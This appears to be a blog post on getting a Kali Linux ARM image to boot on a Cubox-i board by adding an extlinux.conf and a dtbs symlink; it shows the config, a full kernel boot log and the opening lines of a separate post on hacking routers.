If you tried to burn and run the Kali image that can be downloaded from the Offensive Security website, probably you ended up in a non bootable image.

U-Boot SPL 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)
Trying to boot from MMC1


U-Boot 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)

CPU:   Freescale i.MX6Q rev1.2 996 MHz (running at 792 MHz)
CPU:   Extended Commercial temperature grade (-20C to 105C) at 19C
Reset cause: POR
Board: MX6 Cubox-i
DRAM:  2 GiB
MMC:   FSL_SDHC: 0
Loading Environment from MMC... *** Warning - bad CRC, using default environment

Failed (-5)
No panel detected: default to HDMI
Display: HDMI (1024x768)
In:    serial
Out:   serial
Err:   serial
Net:   FEC
Hit any key to stop autoboot:  0
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
AHCI 0001.0300 32 slots 1 ports 3 Gbps 0x1 impl SATA mode
flags: ncq stag pm led clo only pmp pio slum part
No port device detected!

Device 0: Model:  Firm:  Ser#:
            Type: Hard Disk
            Capacity: not available
... is now current device
timeout exit!
timeout exit!
timeout exit!
timeout exit!
timeout exit!
timeout exit!

This is how you can fix it.

First thing, go here and download the image. Burn it into a nice fast SDCard as you can read in the tutorial. In my own system, SDCard is located at /dev/sdb, adjust accordingly to your settings.

xzcat kali-linux-2018.4-cuboxi.img.xz | dd of=/dev/sdb bs=512k

Now mount the image wherever you like and chroot into it. You'll should be able to browse it:

root@kali:/# ll
total 84K
drwxr-xr-x  18 root root 4,0K feb 11 11:50 .
drwxr-xr-x  18 root root 4,0K feb 11 11:50 ..
lrwxrwxrwx   1 root root    7 ott 17 19:08 bin -> usr/bin
drwxr-xr-x   3 root root 4,0K feb 11 11:56 boot
drwxr-xr-x   4 root root 4,0K ott 17 19:08 dev
drwxr-xr-x 109 root root 4,0K feb 11 18:04 etc
drwxr-xr-x   2 root root 4,0K set 12 08:36 home
lrwxrwxrwx   1 root root   34 feb 11 11:50 initrd.img -> boot/initrd.img-4.19.0-kali1-armmp
lrwxrwxrwx   1 root root   34 ott 17 19:24 initrd.img.old -> boot/initrd.img-4.18.0-kali2-armmp
lrwxrwxrwx   1 root root    7 ott 17 19:08 lib -> usr/lib
drwx------   2 root root  16K ott 17 19:39 lost+found
drwxr-xr-x   2 root root 4,0K ott 17 19:08 media
drwxr-xr-x   2 root root 4,0K ott 17 19:08 mnt
drwxr-xr-x   4 root root 4,0K feb 11 12:23 opt
drwxr-xr-x   2 root root 4,0K set 12 08:36 proc
drwx------   9 root root 4,0K feb 11 17:43 root
drwxr-xr-x   2 root root 4,0K set 12 08:36 run
lrwxrwxrwx   1 root root    8 ott 17 19:08 sbin -> usr/sbin
drwxr-xr-x   2 root root 4,0K ott 17 19:08 srv
drwxr-xr-x   2 root root 4,0K set 12 08:36 sys
drwxrwxrwt  10 root root 4,0K feb 11 19:42 tmp
drwxr-xr-x  10 root root 4,0K ott 17 19:08 usr
drwxr-xr-x  12 root root 4,0K ott 17 19:23 var
lrwxrwxrwx   1 root root   31 feb 11 11:50 vmlinuz -> boot/vmlinuz-4.19.0-kali1-armmp
lrwxrwxrwx   1 root root   31 ott 17 19:24 vmlinuz.old -> boot/vmlinuz-4.18.0-kali2-armmp
root@kali:/# 

Go into the /boot directory, create a symlink named dtbs that point to /usr/lib/linux-image-$(uname -r), in my case I'm with the 4.19.0 kernel version. Verify in you're own Kali version.

Also, create the extlinux directory and, inside of it, create a file named extlinux.conf. So, right now, you should be in this scenario.

root@kali:/boot# ll
total 53M
drwxr-xr-x  3 root root 4,0K feb 11 11:56 .
drwxr-xr-x 18 root root 4,0K feb 11 11:50 ..
-rw-r--r--  1 root root 203K ott  9 14:47 config-4.18.0-kali2-armmp
-rw-r--r--  1 root root 205K gen  3 08:34 config-4.19.0-kali1-armmp
lrwxrwxrwx  1 root root   40 feb 11 11:56 dtbs -> /usr/lib/linux-image-4.19.0-kali1-armmp/
drwxr-xr-x  2 root root 4,0K feb 11 11:55 extlinux
-rw-r--r--  1 root root  19M ott 17 19:38 initrd.img-4.18.0-kali2-armmp
-rw-r--r--  1 root root  20M feb 11 11:52 initrd.img-4.19.0-kali1-armmp
-rw-r--r--  1 root root 3,0M ott  9 14:47 System.map-4.18.0-kali2-armmp
-rw-r--r--  1 root root 3,0M gen  3 08:34 System.map-4.19.0-kali1-armmp
-rw-r--r--  1 root root 4,0M ott  9 14:47 vmlinuz-4.18.0-kali2-armmp
-rw-r--r--  1 root root 4,1M gen  3 08:34 vmlinuz-4.19.0-kali1-armmp
root@kali:/boot# ll ./extlinux/
total 12K
drwxr-xr-x 2 root root 4,0K feb 11 11:55 .
drwxr-xr-x 3 root root 4,0K feb 11 11:56 ..
-rw-r--r-- 1 root root  267 feb 11 11:55 extlinux.conf
root@kali:/boot# 

Now edit extlinux.conf accordingly with these settings:

root@kali:~# cat /boot/extlinux/extlinux.conf 
PROMPT 5
TIMEOUT 50
DEFAULT Kali

LABEL Kali
KERNEL /vmlinuz
FDTDIR /boot/dtbs/
INITRD /initrd.img
APPEND root=/dev/mmcblk1p1 rootfstype=ext4 video=mxcfb0:dev=hdmi,1920x1080M@60,if=RGB24,bpp=32 console=ttymxc0,115200n8 console=tty1 consoleblank=0 rw rootwait

Note that, starting from Kernel 4.9, the partition naming convention changed, first device is mmcblk1 and not mmcblk0. As the downloaded Kali image has only one partition, you need to use /dev/mmcblk1p1 device.

fdisk -l /dev/sdb
Disk /dev/sdb: 14,9 GiB, 15931539456 bytes, 31116288 sectors
Disk model: SD Card Reader  
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x38f6e81f

Device     Boot Start      End  Sectors  Size Id Type
/dev/sdb1        2048 31115263 31113216 14,9G 83 Linux

That's all. Now U-Boot should be fixed and able to boot your kernel.

U-Boot SPL 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)
Trying to boot from MMC1


U-Boot 2018.05+dfsg-1 (May 10 2018 - 20:24:57 +0000)

CPU:   Freescale i.MX6Q rev1.2 996 MHz (running at 792 MHz)
CPU:   Extended Commercial temperature grade (-20C to 105C) at 19C
Reset cause: POR
Board: MX6 Cubox-i
DRAM:  2 GiB
MMC:   FSL_SDHC: 0
Loading Environment from MMC... *** Warning - bad CRC, using default environment

Failed (-5)
No panel detected: default to HDMI
Display: HDMI (1024x768)
In:    serial
Out:   serial
Err:   serial
Net:   FEC
Hit any key to stop autoboot:  0 
switch to partitions #0, OK
mmc0 is current device
Scanning mmc 0:1...
Found /boot/extlinux/extlinux.conf
Retrieving file: /boot/extlinux/extlinux.conf
267 bytes read in 114 ms (2 KiB/s)
1:	Kali
Retrieving file: /boot/extlinux/../../initrd.img
20026342 bytes read in 1220 ms (15.7 MiB/s)
Retrieving file: /boot/extlinux/../../vmlinuz
4203008 bytes read in 479 ms (8.4 MiB/s)
append: root=/dev/mmcblk1p1 rootfstype=ext4 video=mxcfb0:dev=hdmi,1920x1080M@60,if=RGB24,bpp=32 console=ttymxc0,115200n8 console=tty1 consoleblank=0 rw rootwait
Retrieving file: /boot/extlinux/../dtbs/imx6q-cubox-i.dtb
36853 bytes read in 2755 ms (12.7 KiB/s)
## Flattened Device Tree blob at 18000000
   Booting using the fdt blob at 0x18000000
   Using Device Tree in place at 18000000, end 1800bff4

Starting kernel ...

[    0.000000] Booting Linux on physical CPU 0x0
[    0.000000] Linux version 4.19.0-kali1-armmp ([email protected]) (gcc version 8.2.0 (Debian 8.2.0-13)) #1 SMP Debian 4.19.13-1kali1 (2019-01-03)
[    0.000000] CPU: ARMv7 Processor [412fc09a] revision 10 (ARMv7), cr=10c5387d
[    0.000000] CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache
[    0.000000] OF: fdt: Machine model: SolidRun Cubox-i Dual/Quad
[    0.000000] Memory policy: Data cache writealloc
[    0.000000] efi: Getting EFI parameters from FDT:
[    0.000000] efi: UEFI not found.
[    0.000000] cma: Reserved 16 MiB at 0x8f000000
[    0.000000] random: get_random_bytes called from start_kernel+0xa0/0x504 with crng_init=0
[    0.000000] percpu: Embedded 17 pages/cpu @(ptrval) s39116 r8192 d22324 u69632
[    0.000000] Built 1 zonelists, mobility grouping on.  Total pages: 522560
[    0.000000] Kernel command line: root=/dev/mmcblk1p1 rootfstype=ext4 video=mxcfb0:dev=hdmi,1920x1080M@60,if=RGB24,bpp=32 console=ttymxc0,115200n8 console=tty1 consoleblank=0 rw rootwait
[    0.000000] Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
[    0.000000] Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
[    0.000000] Memory: 2025800K/2097152K available (8192K kernel code, 1107K rwdata, 2552K rodata, 2048K init, 306K bss, 54968K reserved, 16384K cma-reserved, 1294336K highmem)
[    0.000000] Virtual kernel memory layout:
[    0.000000]     vector  : 0xffff0000 - 0xffff1000   (   4 kB)
[    0.000000]     fixmap  : 0xffc00000 - 0xfff00000   (3072 kB)
[    0.000000]     vmalloc : 0xf0800000 - 0xff800000   ( 240 MB)
[    0.000000]     lowmem  : 0xc0000000 - 0xf0000000   ( 768 MB)
[    0.000000]     pkmap   : 0xbfe00000 - 0xc0000000   (   2 MB)
[    0.000000]     modules : 0xbf000000 - 0xbfe00000   (  14 MB)
[    0.000000]       .text : 0x(ptrval) - 0x(ptrval)   (9184 kB)
[    0.000000]       .init : 0x(ptrval) - 0x(ptrval)   (2048 kB)
[    0.000000]       .data : 0x(ptrval) - 0x(ptrval)   (1108 kB)
[    0.000000]        .bss : 0x(ptrval) - 0x(ptrval)   ( 307 kB)
[    0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1
[    0.000000] ftrace: allocating 32449 entries in 96 pages
[    0.000000] rcu: Hierarchical RCU implementation.
[    0.000000] rcu: 	RCU restricting CPUs from NR_CPUS=8 to nr_cpu_ids=4.
[    0.000000] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4
[    0.000000] NR_IRQS: 16, nr_irqs: 16, preallocated irqs: 16
[    0.000000] L2C-310 errata 752271 769419 enabled
[    0.000000] L2C-310 enabling early BRESP for Cortex-A9
[    0.000000] L2C-310 full line of zeros enabled for Cortex-A9
[    0.000000] L2C-310 ID prefetch enabled, offset 16 lines
[    0.000000] L2C-310 dynamic clock gating enabled, standby mode enabled
[    0.000000] L2C-310 cache controller enabled, 16 ways, 1024 kB
[    0.000000] L2C-310: CACHE_ID 0x410000c7, AUX_CTRL 0x76470001
[    0.000000] Switching to timer-based delay loop, resolution 333ns
[    0.000007] sched_clock: 32 bits at 3000kHz, resolution 333ns, wraps every 715827882841ns
[    0.000029] clocksource: mxc_timer1: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 637086815595 ns
[    0.002450] Console: colour dummy device 80x30
[    0.002911] console [tty1] enabled
[    0.002962] Calibrating delay loop (skipped), value calculated using timer frequency.. 6.00 BogoMIPS (lpj=12000)
[    0.002997] pid_max: default: 32768 minimum: 301
[    0.003303] Security Framework initialized
[    0.003354] Yama: disabled by default; enable with sysctl kernel.yama.*
[    0.003456] AppArmor: AppArmor initialized
[    0.003587] Mount-cache hash table entries: 2048 (order: 1, 8192 bytes)
[    0.003621] Mountpoint-cache hash table entries: 2048 (order: 1, 8192 bytes)
[    0.004664] CPU: Testing write buffer coherency: ok
[    0.004713] CPU0: Spectre v2: using BPIALL workaround
[    0.005153] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000
[    0.005959] Setting up static identity map for 0x10300000 - 0x103000a0
[    0.007468] rcu: Hierarchical SRCU implementation.
[    0.011385] EFI services will not be available.
[    0.011904] smp: Bringing up secondary CPUs ...
[    0.012834] CPU1: thread -1, cpu 1, socket 0, mpidr 80000001
[    0.012842] CPU1: Spectre v2: using BPIALL workaround
[    0.013856] CPU2: thread -1, cpu 2, socket 0, mpidr 80000002
[    0.013863] CPU2: Spectre v2: using BPIALL workaround
[    0.014869] CPU3: thread -1, cpu 3, socket 0, mpidr 80000003
[    0.014878] CPU3: Spectre v2: using BPIALL workaround
[    0.015031] smp: Brought up 1 node, 4 CPUs
[    0.015056] SMP: Total of 4 processors activated (24.00 BogoMIPS).
[    0.015074] CPU: All CPU(s) started in SVC mode.
[    0.016528] devtmpfs: initialized
[    0.025641] VFP support v0.3: implementor 41 architecture 3 part 30 variant 9 rev 4
[    0.025992] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[    0.026032] futex hash table entries: 1024 (order: 4, 65536 bytes)
[    0.027375] pinctrl core: initialized pinctrl subsystem
[    0.028868] DMI not present or invalid.
[    0.029317] NET: Registered protocol family 16
[    0.033089] DMA: preallocated 256 KiB pool for atomic coherent allocations
[    0.033965] audit: initializing netlink subsys (disabled)
[    0.034242] audit: type=2000 audit(0.032:1): state=initialized audit_enabled=0 res=1
[    0.035939] CPU identified as i.MX6Q, silicon rev 1.2
[    0.056010] No ATAGs?
[    0.056179] hw-breakpoint: found 5 (+1 reserved) breakpoint and 1 watchpoint registers.
[    0.056220] hw-breakpoint: maximum watchpoint size is 4 bytes.
[    0.057982] imx6q-pinctrl 20e0000.iomuxc: initialized IMX pinctrl driver
[    0.058770] Serial: AMBA PL011 UART driver
[    0.081508] mxs-dma 110000.dma-apbh: initialized
[    0.083880] v_usb2: supplied by v_5v0
[    0.084147] vcc_3v3: supplied by v_5v0
[    0.084412] v_usb1: supplied by v_5v0
[    0.087824] vgaarb: loaded
[    0.089174] media: Linux media interface: v0.10
[    0.089232] videodev: Linux video capture interface: v2.00
[    0.089300] pps_core: LinuxPPS API ver. 1 registered
[    0.089322] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <[email protected]>
[    0.089361] PTP clock support registered
[    0.091199] clocksource: Switched to clocksource mxc_timer1
[    0.170784] VFS: Disk quotas dquot_6.6.0
[    0.170921] VFS: Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
[    0.171676] AppArmor: AppArmor Filesystem Enabled
[    0.184673] NET: Registered protocol family 2
[    0.185646] tcp_listen_portaddr_hash hash table entries: 512 (order: 0, 6144 bytes)
[    0.185706] TCP established hash table entries: 8192 (order: 3, 32768 bytes)
[    0.185812] TCP bind hash table entries: 8192 (order: 4, 65536 bytes)
[    0.185981] TCP: Hash tables configured (established 8192 bind 8192)
[    0.186238] UDP hash table entries: 512 (order: 2, 16384 bytes)
[    0.186300] UDP-Lite hash table entries: 512 (order: 2, 16384 bytes)
[    0.186589] NET: Registered protocol family 1
[    0.187128] Unpacking initramfs...
[    1.822024] Freeing initrd memory: 19560K
[    1.822709] hw perfevents: no interrupt-affinity property for /pmu, guessing.
[    1.823063] hw perfevents: enabled with armv7_cortex_a9 PMU driver, 7 counters available
[    1.826095] Initialise system trusted keyrings
[    1.826400] workingset: timestamp_bits=14 max_order=19 bucket_order=5
[    1.833640] zbud: loaded
[    6.621158] Key type asymmetric registered
[    6.621192] Asymmetric key parser 'x509' registered
[    6.621275] bounce: pool size: 64 pages
[    6.621357] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 248)
[    6.621575] io scheduler noop registered
[    6.621597] io scheduler deadline registered
[    6.621849] io scheduler cfq registered (default)
[    6.621871] io scheduler mq-deadline registered
[    6.636572] imx-sdma 20ec000.sdma: firmware: failed to load imx/sdma/sdma-imx6q.bin (-2)
[    6.636604] firmware_class: See https://wiki.debian.org/Firmware for information about missing firmware
[    6.636636] imx-sdma 20ec000.sdma: Direct firmware load for imx/sdma/sdma-imx6q.bin failed with error -2
[    6.641836] imx-pgc-pd imx-pgc-power-domain.0: DMA mask not set
[    6.641921] imx-pgc-pd imx-pgc-power-domain.0: Linked as a consumer to 20dc000.gpc
[    6.641999] imx-pgc-pd imx-pgc-power-domain.1: DMA mask not set
[    6.644727] Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
[    6.647473] Serial: AMBA driver
[    6.648404] 2020000.serial: ttymxc0 at MMIO 0x2020000 (irq = 26, base_baud = 5000000) is a IMX
[    7.412939] console [ttymxc0] enabled
[    7.417932] 21f0000.serial: ttymxc3 at MMIO 0x21f0000 (irq = 66, base_baud = 5000000) is a IMX
[    7.430698] libphy: Fixed MDIO Bus: probed
[    7.435760] fec 2188000.ethernet: 2188000.ethernet supply phy not found, using dummy regulator
[    7.444505] fec 2188000.ethernet: Linked as a consumer to regulator.0
[    7.454609] pps pps0: new PPS source ptp0
[    7.472545] libphy: fec_enet_mii_bus: probed
[    7.477455] fec 2188000.ethernet eth0: registered PHC device 0
[    7.484318] mousedev: PS/2 mouse device common for all mice
[    7.492641] snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-rtc-lp as rtc0
[    7.505875] ledtrig-cpu: registered to indicate activity on CPUs
[    7.514034] NET: Registered protocol family 10
[    7.544056] Segment Routing with IPv6
[    7.547877] mip6: Mobile IPv6
[    7.550868] NET: Registered protocol family 17
[    7.555362] mpls_gso: MPLS GSO support
[    7.559621] ThumbEE CPU extension supported.
[    7.563941] Registering SWP/SWPB emulation handler
[    7.569571] registered taskstats version 1
[    7.573724] Loading compiled-in X.509 certificates
[    8.001824] Loaded X.509 cert 'secure-boot-test-key-lfaraone: 97c1b25cddf9873ca78a58f3d73bf727d2cf78ff'
[    8.011399] zswap: loaded using pool lzo/zbud
[    8.016135] AppArmor: AppArmor sha1 policy hashing enabled
[    8.043332] input: gpio-keys as /devices/soc0/gpio-keys/input/input0
[    8.050476] snvs_rtc 20cc000.snvs:snvs-rtc-lp: setting system clock to 1970-01-01 00:00:00 UTC (0)
[    8.059503] sr_init: No PMIC hook to init smartreflex
[    8.065540] brcm_reg: disabling
[    8.068731] v_usb2: disabling
[    8.071738] v_usb1: disabling
[    8.091956] Freeing unused kernel memory: 2048K
[    8.103524] Run /init as init process
[    8.674401] vdd1p1: supplied by regulator-dummy
[    8.683877] vdd3p0: supplied by regulator-dummy
[    8.696602] vdd2p5: supplied by regulator-dummy
[    8.704227] vddarm: supplied by regulator-dummy
[    8.717686] sdhci: Secure Digital Host Controller Interface driver
[    8.718779] i2c i2c-1: IMX I2C adapter registered
[    8.723983] sdhci: Copyright(c) Pierre Ossman
[    8.731604] i2c i2c-1: can't use DMA, using PIO instead.
[    8.742702] sdhci-pltfm: SDHCI platform and OF driver helper
[    8.742793] usbcore: registered new interface driver usbfs
[    8.744626] vddpu: supplied by regulator-dummy
[    8.745481] imx-pgc-pd imx-pgc-power-domain.1: Linked as a consumer to regulator.10
[    8.745595] imx-pgc-pd imx-pgc-power-domain.1: Linked as a consumer to 20dc000.gpc
[    8.745890] vddsoc: supplied by regulator-dummy
[    8.752088] sdhci-esdhc-imx 2190000.usdhc: allocated mmc-pwrseq
[    8.756034] usbcore: registered new interface driver hub
[    8.763812] sdhci-esdhc-imx 2190000.usdhc: Linked as a consumer to regulator.2
[    8.763929] SCSI subsystem initialized
[    8.766600] usbcore: registered new device driver usb
[    8.787503] rtc-pcf8523 2-0068: rtc core: registered rtc-pcf8523 as rtc1
[    8.796044] ahci-imx 2200000.sata: fsl,transmit-level-mV value 1104, using 00000044
[    8.798351] i2c i2c-2: IMX I2C adapter registered
[    8.801051] ahci-imx 2200000.sata: fsl,transmit-boost-mdB value 0, using 00000000
[    8.801481] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[    8.807283] i2c i2c-2: can't use DMA, using PIO instead.
[    8.809805] imx_usb 2184000.usb: Linked as a consumer to regulator.5
[    8.812940] ahci-imx 2200000.sata: fsl,transmit-atten-16ths value 9, using 00002000
[    8.812952] ahci-imx 2200000.sata: fsl,receive-eq-mdB not specified, using 05000000
[    8.868067] ci_hdrc ci_hdrc.0: EHCI Host Controller
[    8.870498] ahci-imx 2200000.sata: SSS flag set, parallel bus scan disabled
[    8.873075] ci_hdrc ci_hdrc.0: new USB bus registered, assigned bus number 1
[    8.880090] ahci-imx 2200000.sata: AHCI 0001.0300 32 slots 1 ports 3 Gbps 0x1 impl platform mode
[    8.896015] ahci-imx 2200000.sata: flags: ncq sntf stag pm led clo only pmp pio slum part ccc apst 
[    8.906799] scsi host0: ahci-imx
[    8.907234] ci_hdrc ci_hdrc.0: USB 2.0 started, EHCI 1.00
[    8.911034] ata1: SATA max UDMA/133 mmio [mem 0x02200000-0x02203fff] port 0x100 irq 69
[    8.915842] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19
[    8.931867] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[    8.939144] usb usb1: Product: EHCI Host Controller
[    8.944065] usb usb1: Manufacturer: Linux 4.19.0-kali1-armmp ehci_hcd
[    8.950543] usb usb1: SerialNumber: ci_hdrc.0
[    8.955839] hub 1-0:1.0: USB hub found
[    8.959699] hub 1-0:1.0: 1 port detected
[    8.964941] imx_usb 2184200.usb: Linked as a consumer to regulator.4
[    8.975338] ci_hdrc ci_hdrc.1: EHCI Host Controller
[    8.980298] ci_hdrc ci_hdrc.1: new USB bus registered, assigned bus number 2
[    9.003239] ci_hdrc ci_hdrc.1: USB 2.0 started, EHCI 1.00
[    9.008943] usb usb2: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19
[    9.017268] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1
[    9.024541] usb usb2: Product: EHCI Host Controller
[    9.029458] usb usb2: Manufacturer: Linux 4.19.0-kali1-armmp ehci_hcd
[    9.035939] usb usb2: SerialNumber: ci_hdrc.1
[    9.041101] hub 2-0:1.0: USB hub found
[    9.044948] hub 2-0:1.0: 1 port detected
[    9.107896] mmc0: SDHCI controller on 2190000.usdhc [2190000.usdhc] using ADMA
[    9.117185] sdhci-esdhc-imx 2194000.usdhc: Got CD GPIO
[    9.122559] sdhci-esdhc-imx 2194000.usdhc: Linked as a consumer to regulator.1
[    9.157220] mmc0: queuing unknown CIS tuple 0x80 (50 bytes)
[    9.163693] mmc1: SDHCI controller on 2194000.usdhc [2194000.usdhc] using ADMA
[    9.183174] mmc0: queuing unknown CIS tuple 0x80 (7 bytes)
[    9.191609] mmc0: queuing unknown CIS tuple 0x80 (4 bytes)
[    9.211322] random: fast init done
[    9.224126] mmc1: host does not support reading read-only switch, assuming write-enable
[    9.240939] mmc1: new high speed SDHC card at address aaaa
[    9.245854] ata1: SATA link down (SStatus 0 SControl 300)
[    9.249128] mmc0: queuing unknown CIS tuple 0x02 (1 bytes)
[    9.251988] ahci-imx 2200000.sata: no device found, disabling link.
[    9.258217] mmcblk1: mmc1:aaaa SC16G 14.8 GiB 
[    9.263773] ahci-imx 2200000.sata: pass .hotplug=1 to enable hotplug
[    9.285255] mmc0: new SDIO card at address 0001
[    9.294093]  mmcblk1: p1
[    9.590133] EXT4-fs (mmcblk1p1): mounted filesystem with ordered data mode. Opts: (null)
[   10.331270] systemd[1]: System time before build time, advancing clock.
[   10.410380] systemd[1]: Inserted module 'autofs4'
[   10.477486] systemd[1]: systemd 240 running in system mode. (+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD -IDN2 +IDN -PCRE2 default-hierarchy=hybrid)
[   10.499686] systemd[1]: Detected architecture arm.
[   10.532504] systemd[1]: Set hostname to <kali>.
[   11.143992] random: systemd: uninitialized urandom read (16 bytes read)
[   11.169989] random: systemd: uninitialized urandom read (16 bytes read)
[   11.177217] systemd[1]: Started Dispatch Password Requests to Console Directory Watch.
[   11.185774] random: systemd: uninitialized urandom read (16 bytes read)
[   11.192813] systemd[1]: Listening on initctl Compatibility Named Pipe.
[   11.205244] systemd[1]: Created slice system-getty.slice.
[   11.212034] systemd[1]: Listening on Journal Audit Socket.
[   11.219580] systemd[1]: Created slice User and Session Slice.
[   11.225807] systemd[1]: Reached target Slices.
[   11.231852] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point.
[   11.644705] systemd-journald[174]: Received request to flush runtime journal from PID 1
[   11.715275] systemd-journald[174]: File /var/log/journal/1669a518f9704310aef53c26dee3d53f/system.journal corrupted or uncleanly shut down, renaming and replacing.
[   13.195395] cpu cpu0: Linked as a consumer to regulator.9
[   13.202118] cpu cpu0: Linked as a consumer to regulator.10
[   13.212353] leds_pwm pwmleds: unable to request PWM for imx6:red:front: -517
[   13.229703] Registered IR keymap rc-empty
[   13.230963] cpu cpu0: Linked as a consumer to regulator.11
[   13.239476] rc rc0: gpio_ir_recv as /devices/soc0/ir-receiver/rc/rc0
[   13.247800] input: gpio_ir_recv as /devices/soc0/ir-receiver/rc/rc0/input1
[   13.291628] rc rc0: lirc_dev: driver gpio_ir_recv registered at minor = 0, raw IR receiver, no transmitter
[   13.292420] leds_pwm pwmleds: unable to request PWM for imx6:red:front: -517
[   13.368979] leds_pwm pwmleds: unable to request PWM for imx6:red:front: -517
[   13.447837] imx2-wdt 20bc000.wdog: timeout 60 sec (nowayout=0)
[   13.466369] etnaviv etnaviv: bound 130000.gpu (ops gpu_ops [etnaviv])
[   13.495507] imx-ipuv3 2400000.ipu: IPUv3H probed
[   13.505100] etnaviv etnaviv: bound 134000.gpu (ops gpu_ops [etnaviv])
[   13.515092] imx-ipuv3 2800000.ipu: IPUv3H probed
[   13.528373] etnaviv etnaviv: bound 2204000.gpu (ops gpu_ops [etnaviv])
[   13.535094] etnaviv-gpu 130000.gpu: model: GC2000, revision: 5108
[   13.591018] etnaviv-gpu 134000.gpu: model: GC320, revision: 5007
[   13.690303] etnaviv-gpu 2204000.gpu: model: GC355, revision: 1215
[   13.696497] etnaviv-gpu 2204000.gpu: Ignoring GPU with VG and FE2.0
[   13.723715] [drm] Initialized etnaviv 1.2.0 20151214 for etnaviv on minor 0
[   13.732615] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[   13.739343] [drm] No driver support for vblank timestamp query.
[   13.750344] imx-drm display-subsystem: bound imx-ipuv3-crtc.2 (ops ipu_crtc_ops [imxdrm])
[   13.758969] imx-drm display-subsystem: bound imx-ipuv3-crtc.3 (ops ipu_crtc_ops [imxdrm])
[   13.794123] imx-drm display-subsystem: bound imx-ipuv3-crtc.6 (ops ipu_crtc_ops [imxdrm])
[   13.824654] imx-drm display-subsystem: bound imx-ipuv3-crtc.7 (ops ipu_crtc_ops [imxdrm])
[   13.887633] imx-spdif sound-spdif: snd-soc-dummy-dai <-> 2004000.spdif mapping ok
[   13.895250] imx-spdif sound-spdif: ASoC: no DMI vendor name!
[   13.910615] dwhdmi-imx 120000.hdmi: Detected HDMI TX controller v1.30a with HDCP (DWC HDMI 3D TX PHY)
[   13.960699] imx-drm display-subsystem: bound 120000.hdmi (ops dw_hdmi_imx_platform_driver_exit [dw_hdmi_imx])
[   13.982623] [drm] Cannot find any crtc or sizes
[   14.009662] [drm] Initialized imx-drm 1.0.0 20120507 for display-subsystem on minor 1
[   14.236656] brcmfmac: brcmf_fw_alloc_request: using brcm/brcmfmac4329-sdio for chip BCM4329/3
[   14.258745] usbcore: registered new interface driver brcmfmac
[   14.323949] brcmfmac mmc0:0001:1: firmware: direct-loading firmware brcm/brcmfmac4329-sdio.bin
[   14.346226] brcmfmac mmc0:0001:1: firmware: direct-loading firmware brcm/brcmfmac4329-sdio.txt
[   14.465318] brcmfmac: brcmf_fw_alloc_request: using brcm/brcmfmac4329-sdio for chip BCM4329/3
[   14.475922] brcmfmac mmc0:0001:1: firmware: failed to load brcm/brcmfmac4329-sdio.clm_blob (-2)
[   14.484716] brcmfmac mmc0:0001:1: Direct firmware load for brcm/brcmfmac4329-sdio.clm_blob failed with error -2
[   14.494898] brcmfmac: brcmf_c_process_clm_blob: no clm_blob available (err=-2), device may have limited channels available
[   14.551518] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM4329/3 wl0: Sep  2 2011 14:48:19 version 4.220.48
[   14.594871] brcmfmac: brcmf_setup_wiphybands: rxchain error (-52)
[   14.706815] Bluetooth: Core ver 2.22
[   14.710651] NET: Registered protocol family 31
[   14.715230] Bluetooth: HCI device and connection manager initialized
[   14.722069] Bluetooth: HCI socket layer initialized
[   14.727404] Bluetooth: L2CAP socket layer initialized
[   14.733014] Bluetooth: SCO socket layer initialized
[   14.760303] Bluetooth: Generic Bluetooth SDIO driver ver 0.1
[   15.011475] [drm] Cannot find any crtc or sizes
[   15.050996] random: crng init done
[   15.054429] random: 7 urandom warning(s) missed due to ratelimiting
[   16.793010] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
[   16.887242] rc rc0: two consecutive events of type space
[   16.934160] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
[   16.942551] brcmfmac: _brcmf_set_multicast_list: Setting BRCMF_C_SET_PROMISC failed, -52
[   16.956655] brcmfmac: _brcmf_set_multicast_list: Setting BRCMF_C_SET_PROMISC failed, -52
[   17.551975] Atheros 8035 ethernet 2188000.ethernet-1:00: attached PHY driver [Atheros 8035 ethernet] (mii_bus:phy_addr=2188000.ethernet-1:00, irq=POLL)
[   17.570856] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready
[   17.579170] brcmfmac: _brcmf_set_multicast_list: Setting BRCMF_C_SET_PROMISC failed, -52
[   17.835444] IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not ready

Kali GNU/Linux Rolling kali ttymxc0

kali login: 

Thanks to Steev for the late night support and, obviously, Offensive Security.

During last months, my interest in hardware hacking got an exponential growth due to the fact I had the chance to get my hands on some so-ho routers unretired from local Telcos. So what a great opportunity to open and try to crack them, without worrying about irreparable damage?

Inspecting the device

